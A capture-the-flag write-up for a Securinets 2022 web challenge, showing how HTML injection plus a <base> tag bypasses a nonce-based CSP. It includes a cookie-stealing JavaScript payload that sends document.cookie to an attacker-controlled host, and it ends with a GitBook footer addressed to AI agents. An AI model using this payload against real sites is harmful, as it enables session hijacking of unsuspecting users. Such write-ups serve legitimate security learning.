> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2022/securinets-ctf-finals-2022/xwass-ftw.md).

# XwaSS ftw?

> Just another typical web challenge that will be solved anyway :/\
> Link: <http://128.199.3.34:1236>
>
> **Author:** Kahla

In this challenge, we have HTML injection through the `src=` parameter, but the CSP does not allow the loading of arbitrary scripts.

```markup
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-6kzZgPLe1fqRq8';connect-src 'self';style-src 'self';font-src 'self';object-src 'none'">
```

Thankfully, the following script is included in the response, which is permitted by the `nonce`.

```markup
<script nonce=6kzZgPLe1fqRq8  src="assets/js/bootstrap.js">
```

We could therefore use the `<base>` tag to set the base URL of the document to our attacker-controlled site.

```html
?src=/img/saturn.jpg'><base href="http://ATTACKER_URL">
```

This will load the script `http://ATTACKER_URL/assets/js/bootstrap.js`, which we can host on our server:

```javascript
let img = document.createElement('img');
img.src = "/?" + btoa(document.cookie)

document.body.appendChild(img);
```

The above payload will cause the browser to fetch `/?${document.cookie}`, which will be logged on our server, allowing us to get the admin's cookie.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2022/securinets-ctf-finals-2022/xwass-ftw.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
